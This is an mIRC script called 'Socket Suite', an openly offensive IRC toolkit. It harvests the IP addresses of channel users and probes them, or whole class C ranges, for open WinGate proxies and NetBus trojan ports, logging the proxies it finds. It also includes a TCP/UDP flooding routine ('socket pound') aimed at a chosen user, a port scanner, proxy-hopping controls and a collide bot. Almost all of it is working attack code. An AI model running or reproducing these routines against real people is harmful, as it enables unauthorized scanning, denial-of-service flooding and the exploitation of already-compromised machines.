;Socket Suite Version 1.0 by: DrK_ToUc|-|
;
;yes yes yes I finally threw all my socket shit together into one control center.
;Below is a list of all that Socket Suite Version 1.0 contains...
;
;Wingate control center. features such as class c scan, connection, identd change, status, etc...
;Socket Scanner. To replace all yer external port scanner proggies.
;Netbus Scanner. Socket Pounder. Server Socket (for connecting to multiple servers).
;and last a raw socket collide bot.
;
;
menu nicklist {
  -
  Socket Suite
  .NetBUS Scan
  ..Scan $snick(#,1):whois $1 | set %netbus.scanaddy $gettok($address($$1,2),2,64) | .sockclose nb* | %nb = $1 | .sockopen nb %netbus.scanaddy 12345 | echo 8 -a ***4 Scanning $1 for netBUS.
  ..Scan Whole Chan:spambus
  ..Class C Scan:set %netbus.scanaddy $?="Enter Ip Address" | classcscan2
  .-
  .Socket Pound
  ..Tcp:whois $1 | set %pound.addy $gettok($address($$1,2),2,64) | set %pound.port $?="Port To Pound?" | set %pound.hits $?="How Many Hits?" | pound
  ..Udp:set %pound.addy $?="Enter Ip Address" | set %pound.port $?="Port To Pound?" | set %pound.hits $?="How Many Hits?" | pound2
  .-
  .Socket Scanner:whois $1 | set %scan.addy $gettok($address($$1,2),2,64) | %socket.start = $?="Enter Start Port" | %socket.limit = $?="Enter Stop Port" | socketscan1
  .-
  .Wingate Control
  ..Scanners
  ...Chan Scan:spamscan
  ...Class C Scan:set %wingate.scanaddy $?="Enter Ip Address" | classcscan
  ..Connection
  ...Default Port:firewall -m5+d on $?="Enter Gate Address or IP" 1080 | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
  ...Force Socks4:fireall -m4 on $?="Enter Gate Address or IP" 1080 | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
  ...Manual Login:firewall -m5+d on $?="Enter Gate Address or IP" $?"="Enter Port" $?="Enter UserId" $?="Enter Password" | echo 8 -a ***4 You must reconnect to Irc in order for the changes to take effect
  ..Text File
  ...Read:run $mircdirgatelist.txt
  ...Erase:write -c $mircdirgatelist.txt | echo 4 -a *** Wingate Found List Erased.
  ..-
  ..Status:firewall
  ..Change Identd:identd on $?="Enter New Identd"
  ..Toggle Current On:firewall on
  ..Toggle Current Off:firewall off
  ..-
  ..Reconnect to Irc:server $server 7000
  .-
  .Server Socket:irc $$?="enter irc server"
  .-
  .Collide Bot:irc $server
}
;============================================================================================================
alias /socketscan1 {
  echo -a *** Socket Scanning %scan.addy From Port %socket.start to %socket.limit
  :loop
  inc %socket.start
  if (%socket.start == %socket.limit) { goto end } | .sockopen sscan $+ %socket.start %scan.addy %socket.start
  goto loop
  :end
  unset %socket.start
  unset %socket.limit
  unset %scan.addy
  .timer 1 10 echo -a *** Socket Scan Complete...
  .timer 1 10 .sockclose sscan*
}
alias /irc {
  set %ircnick $$?="Enter nickname"
  if ($2 != $null) .sockopen irc $1 $2
  else  .sockopen irc $1 6667
  window -e @irc
}
alias /procquit {
  :top
  if ($line( [ @irc $+ [ $read -s $+ [ $1 chans.txt ] ] ] ,$line( [ @irc $+ [ $read -s $+ [ $1 chans.txt ] ] ] ,0,0),0) != $1 quit $2-) {
    aline -hp @irc $+ $read -s $+ $1 chans.txt $1 quit $2-
    .sockwrite -n irc names $read -s $+ $1 chans.txt
  }
  write -ds $+ $1 chans.txt
  if ($read -s $+ $1 chans.txt != $null) goto top
  else halt
}
alias /pound {
  echo -a *** Socket Pounding $snick(#,1) [Port: %pound.port ] [Protocol: Tcp] [Packets: %pound.hits ]
  %pound.hits1 = 0
  :loop
  if ($sockerr > 0) { echo -a *** Socket Error, Aborting... | .sockclose pound* | halt }
  if (%pound.hits1 == %pound.hits) { goto end }
  .timer 1 1 .sockopen pound $+ %pound.hits1 %pound.addy %pound.port
  inc %pound.hits1 1
  goto loop
  :end
  halt
}
alias /pound2 {
  echo -a *** Socket Pounding $snick(#,1) [Port: %pound.port ] [Protocol: Udp] [Packets: %pound.hits ]
  %pound.hits1 = 0
  :loop
  if ($sockerr > 0) { echo -a *** Socket Error, Aborting... | .sockclose pound2* | halt }
  if (%pound.hits1 == %pound.hits) { goto end }
  .timer 1 1 .sockudp pound2 $+ %pound.hits1 %pound.addy %pound.port 64 %do
  inc %pound.hits1 1
  goto loop
  :end
  .sockclose pound2*
  echo -a *** Socket Pound on $snick(#,1) Complete...
  unset %pound.hits1
}
alias /classcscan {
  set %wingate.scanaddy $gettok(%wingate.scanaddy,1-3,46)
  echo 4 -a ***8 Class C Scanning $gettok(%wingate.scanaddy,1-3,46) $+ . $+ 0 For Wingates on Port 1080 4***
  %gatescan.loop = 0
  %gates.found = 0
  :loop
  inc %gatescan.loop 1
  if (%gatescan.loop == 256) { goto end }
  .sockopen classc $+ %gatescan.loop %wingate.scanaddy $+ . $+ %gatescan.loop 1080
  goto loop
  :end
  .timer 1 5 echo 4 -a ***8 Class C Scan Complete. Closing All Sockets. 4***
  .timer 1 5 .sockclose classc*
}
alias /classcscan2 {
  set %netbus.scanaddy $gettok(%netbus.scanaddy,1-3,46)
  echo 4 -a ***8 Class C Scanning $gettok(%netbus.scanaddy,1-3,46) $+ . $+ 0 For NetBUS 4***
  %gatescan.loop = 0
  %gates.found = 0
  :loop
  inc %gatescan.loop 1
  if (%gatescan.loop == 256) { goto end }
  .sockopen classc2 $+ %gatescan.loop %netbus.scanaddy $+ . $+ %gatescan.loop 12345
  goto loop
  :end
  .timer 1 5 echo 4 -a ***8 Class C Scan Complete. Closing All Sockets. 4***
  .timer 1 5 .sockclose classc2*
}
alias /spamscan {
  echo 4 -a ***8 Scanning # For Wingates on 1080 4***
  :loop
  inc %i 
  if ($nick(#,0) < %i) { goto end }
  whois $nick(#,%i) | %spam.gate = $gettok($address($nick(#,%i),2),2,64) | .sockopen spamgate $+ %i %spam.gate 1080
  goto loop
  :end
  .timer 1 10 echo 4 -a ***8 Wingate Scan on # Complete. %i Nicks Scanned. 4***
  .timer 1 10 .sockclose spamgate*
  unset %i
}
alias /spambus {
  echo 4 -a ***8 Scanning # For NetBus 4***
  :loop
  inc %i 
  if ($nick(#,0) < %i) { goto end }
  whois $nick(#,%i) | %spam.bus = $gettok($address($nick(#,%i),2),2,64) | .sockopen spambus $+ %i %spam.bus 12345
  goto loop
  :end
  .timer 1 10 echo 4 -a ***8 NetBus Scan on # Complete. %i Nicks Scanned. 4***
  .timer 1 10 .sockclose spambus*
  unset %i
}
;============================================================================================================
on *:sockopen:sscan*:if ($sockerr > 0) { return } | echo -a *** Socket Open: $sock($sockname).ip Port: $sock($sockname).port
on *:sockopen:spambus*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible NetBus Found:7 $sock($sockname).ip
on *:sockopen:spamgate*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible Wingate Found:7 $sock($sockname).ip | write -l $mircdirextraz\gatelist.txt $sock($sockname).ip
on *:sockopen:classc*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible Wingate Found:7 $sock($sockname).ip | write -l $mircdirextraz\gatelist.txt $sock($sockname).ip
on *:sockopen:classc2*:if ($sockerr > 0) { return } | echo 4 -a ***8 Possible NetBUS Found:7 $sock($sockname).ip
on *:sockread:bo:sockread -f %bo.traffic | echo 8 -a ***4 BO Socket:[ %bo ]:>9 %bo.traffic
on *:sockopen:tk:.sockwrite tk* Bye Fuck Face | .sockclose tk*
on *:sockopen:bo:if ($sockerr > 0) { echo 8 -a ***4 %bo Is Clean of BO. | return } | echo 9 -a *** %bo is Infected with BO | unset %bo
on *:sockopen:nb:if ($sockerr > 0) { echo 8 -a ***4 %nb Is Clean of netBUS. | return } | echo 9 -a *** %nb is Infected with netBUS | unset %nb
on 1:sockopen:irc: {
  write -c chans.txt
  aline -h @irc Connected
  sockwrite -n irc nick %ircnick | aline -hp @irc nick %ircnick
  sockwrite -n irc user Dna Dna.com Dna.com :Dna user | aline -hp @irc user Dna Dna.com Dna.com :Dna
}
on 1:sockread:irc: {
  if ($sockerr > 0) return
  :nextread
  sockread %irc
  if ($sockbr == 0) return
  if (%irc == $null) %irc = -
  if ($gettok(%irc,2,32) == 353) {
    set %tempchan $gettok(%irc,5,32)
    clear -l @irc $+ %tempchan
    set % $+ [ [ %tempchan ] ] $remove($deltok($deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32),1,32),:) 
    :top
    aline -l @irc $+ %tempchan $gettok( [ % [ $+ [ %tempchan ] ] ] ,1,32)
    write -l chans.txt $remove($gettok( [ % [ $+ [ %tempchan ] ] ] ,1,32),@) %tempchan
    set % $+ %tempchan $deltok( [ % [ $+ [ %tempchan ] ] ] ,1,32)
    if ( [ % [ $+ [ %tempchan ] ] ] != $null) goto top
    if ( [ % [ $+ [ %tempchan ] ] ] == $null) halt
  }
  if (PING :& iswm %irc) { sockwrite -n irc pong $remove(%irc,:) | goto nextread | halt }
  if ($gettok(%irc,2,32) !isnum)  {
    if ($left($gettok(%irc,3,32),2) == : $+ $chr(35) && $gettok(%irc,2,32) == JOIN) { 
      if ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick)   { window -Sel12 @irc $+ $remove($gettok(%irc,3,32),:) | aline -hpc3 @irc $+ $remove($gettok(%irc,3,32),:) Now talking in $remove($gettok(%irc,3,32),:) }
      else { 
        aline -hpc3 @irc $+ $remove($gettok(%irc,3,32),:)  $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) has joined $remove($gettok(%irc,3,32),:) 
        aline -l @irc $+ $remove($gettok(%irc,3,32),:) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) 
        write -l chans.txt $remove($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!)  -2)),@) $remove($gettok(%irc,3,32),:) 
      }
      goto nextread
      halt
    }
    if ($left($gettok(%irc,3,32),1) == $chr(35)) {
      if ($gettok(%irc,2,32) == PRIVMSG) {
        if ($gettok(%irc,4,32) == :
ACTION) aline -hp @irc $+ $gettok(%irc,3,32) * $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2))  $remove($remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32)),:
ACTION)))
        elseif ($gettok(%irc,4,32) == :
PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> PING | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :
PING $gettok(%irc,5,32) }
        elseif ($gettok(%irc,4,32) == :
VERSION
) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> VERSION | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :
VERSION %brag 
 }
        elseif ($gettok(%irc,4,32) == :
SOUND) { 
          splay $remove($gettok(%irc,5,32) ,
)
          aline -hpc4 @irc $+ $gettok(%irc,3,32)  $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) Sound $remove($gettok(%irc,5,32) ,
)
        }
        else aline -hp @irc $+ $gettok(%irc,3,32) < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32))
      }
      elseif (($gettok(%irc,2,32) == PART) && ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) != %ircnick)) { 
        aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) has left $gettok(%irc,3,32) 
        sockwrite -n irc names $gettok(%irc,3,32)
      }
      elseif (($gettok(%irc,2,32) == PART) && ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick)) halt
      elseif ($gettok(%irc,2,32) == TOPIC) {
        aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) changes topic to $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
        titlebar @irc $+ $gettok(%irc,3,32)  $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
      }
      elseif ($gettok(%irc,2,32) == MODE) {
        aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) sets mode $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
        if ((o isin %irc) || (v isin %irc)) {
          sockwrite -n irc names $gettok(%irc,3,32)
        }
      }
      elseif ($gettok(%irc,2,32) == KICK) {
        aline -hpc3 @irc $+ $gettok(%irc,3,32) $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) kicked $gettok(%irc,4,32) ( $+ $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
        sockwrite -n irc names $gettok(%irc,3,32)
      }
      else aline -hp @irc %irc
    }
    elseif ($gettok(%irc,2,32) == NOTICE)  {
      if ($gettok(%irc,4,32) == :
PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) PING reply: $duration($calc($ctime - $remove($gettok(%irc,5,32),
))) | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :Your PING is $duration($calc($ctime - $remove($gettok(%irc,5,32),
))) }
      else aline -hp @irc < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $replace($deltok($deltok(%irc,1,32),2,32) , NOTICE ,5)
    }
    else {
      if ($gettok(%irc,2,32) == PRIVMSG) {
        if ($gettok(%irc,4,32) == :
ACTION) aline -hp @irc $+ $gettok(%irc,3,32) * $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2))  $remove($remove($remove($remove(%irc,$gettok(%irc,1,32)),$gettok(%irc,2,32)),$gettok(%irc,3,32)),:
ACTION)))
        elseif ($gettok(%irc,4,32) == :
PING) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> PING | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :
PING $gettok(%irc,5,32) }
        elseif ($gettok(%irc,4,32) == :
VERSION
) { aline -hp @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) ---> VERSION | sockwrite -n irc notice $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) :
VERSION %brag 
 }
        else {
          window -e @irc $+ $chr(63) $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2))
          aline -hp @irc $+ $chr(63) $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) < $+ $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $+ > $deltok($deltok($deltok(%irc,1,32),1,32),1,32)
        }
      }
      if ($gettok(%irc,2,32) == QUIT) {
        procquit $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) $deltok($deltok(%irc,1,32),1,32)
      }
      if ($gettok(%irc,2,32) == NICK) {
        if ($mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) == %ircnick) { 
          set %ircnick $remove($gettok(%irc,3,32),:) 
          aline -hpc3 @irc Your nick is now $remove($gettok(%irc,3,32),:)
        }
        else aline -hpc3 @irc $mid($gettok(%irc,1,32),2,$calc($pos($gettok(%irc,1,32),!) -2)) is now known as $remove($gettok(%irc,3,32),:)
      }
    }
  }
  elseif ($gettok(%irc,2,32) == 332) {
    aline -hpc3 @irc $+ $gettok(%irc,4,32) Topic is: $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
    titlebar @irc $+ $gettok(%irc,4,32) $deltok($deltok($deltok($deltok(%irc,1,32),1,32),1,32),1,32)
  }
  elseif ($gettok(%irc,2,32) == 328) aline -hpc3 @irc $+ $gettok(%irc,4,32) $gettok(%irc,4,32) homepage at $right($gettok(%irc,5,32),$calc($len($gettok(%irc,5,32) -1)))
  elseif ($gettok(%irc,2,32) == 333)  aline -hpc3 @irc $+ $gettok(%irc,4,32) Set by $gettok(%irc,5,32) on $asctime($gettok(%irc,6,32))
  elseif ($gettok(%irc,2,32) == 366) { goto nextread | halt }
  else aline -hp @irc $remove(%irc,$gettok(%irc,1,32)) 
  goto nextread
}
on 1:sockclose:irc:window -c @irc | write -c chans.txt
;=============================================================================================================
on *:load:echo 4 -a ***8 ·«9Socket Suite8»· Version 1.0 by: 4DrK_ToUc|-|8 Loaded. 4 ***
;EOF